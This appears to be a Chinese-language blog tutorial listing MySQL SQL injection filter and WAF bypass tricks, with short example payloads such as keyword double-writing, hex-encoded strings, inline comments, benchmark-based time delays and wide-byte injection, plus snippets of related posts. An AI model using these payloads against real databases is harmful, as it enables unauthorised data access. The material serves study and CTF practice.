本文主要以mysql資料庫為例,說明 sql注入繞過 方法。
資料庫查詢語句對大小寫是不敏感的,select 和 select 是定價的。
例如union被過濾為空時,以 uniunionon替代語句中的union,被過濾(僅過濾一次)之後,得到union。
例如遇到單引號過濾,可以將目標值轉化為十六進製制。
select column_name from information_schema.columns where table_name='tbl123';
替換為select column_name from information_schema.columns where table_name=0x74626c313233;
字串 轉為二進位制
and 'x'='x' ----> and 'x'=b'1111000'
仍以單引號過濾為例:
select id from `userdb`.`user` limit 1,1;
利用反引號替換了單引號。
內聯注釋:
select 1 union /*!select*/ 3;
字串擷取
mid(user(),2,1) ----> mid(user() from 2 for 1)
if語句中的逗號
原語句select if(1=1,sleep(5),0);
使用case when語句替換
select case when 1=1 then sleep(5) else 0 end;
2、等號過濾
like替換
and 'a'='a' ----> and 'a' like 'a'
正規表示式 regexp
select 1=1; ----> select 1 regexp '^1';
同義替換法
select 1 != 2; ----> select 1<>2;
3、order by 過濾
原語句:
select * from tbl123 order by 3 limit 1,1;
替換為:
select * from tbl123 limit 1,1 into @a,@b,@c;
變數(@b,@a,@c)個數即 字段個數。
4、空格繞過
括號替換
select(1)union(select/**/3);
注釋select/*23131232*/1/*999999*/union/*88888*/select/*000000*/3;
5、sleep過濾
對於時間盲注,使用benchmark函式替換, 執行 30000000 次函式 md5(『12345』)。
select benchmark(30000000, md5('12345'));
6、or 和 and 過濾
select 1 or 2; ----> select 1||2
select 1 and 2; ----> select 1&&2
類似的還有 xor
7、函式替換
version()過濾
select version(); ----> select @@version;
類似的還有:
group_concat() <–> concat() <–> concat_ws()
ascii() <–> hex() <–> bin()
in ----> between and
sql繞過注入
sql繞過注入我推薦在 這個官網上學習 下面是我在這個官網學習的乙個過程 order by 猜數字 union select 1,2,3,4,5,6,7,8,9,10 form admin 在這裡會報錯 因為需要繞過才能注入。因此需要在 上載入外掛程式 cookie 或者 modheader 都可以...
mysql注入轉義繞過 SQL注入防禦繞過
一 寬位元組注入 1 什麼是寬位元組 gb2312 gbk gb18030 big5等這些都是常說的寬位元組,實際為兩位元組 2 寬位元組注入原理 防禦 將 轉換為 繞過 將 消滅 mysql在使用gbk編碼的時候,會認為兩個字元為乙個漢字 編碼為 5c 編碼為 27 df 5c mysql會認為是...
mysql手工注入繞過 sql注入繞過WAF
這幾天的ctf題中有好幾道題都是sql注入的,但都存在waf需要繞過,於是整理了一些常見的繞過waf注入的方法。在現實sql注入中我們也常常碰到waf,那麼掌握常見的繞過很有必要。0x01 手工注入繞過 1 大小寫混合例如 union select 1,2,3,4 只適用於針對大小寫關鍵字的匹配 2...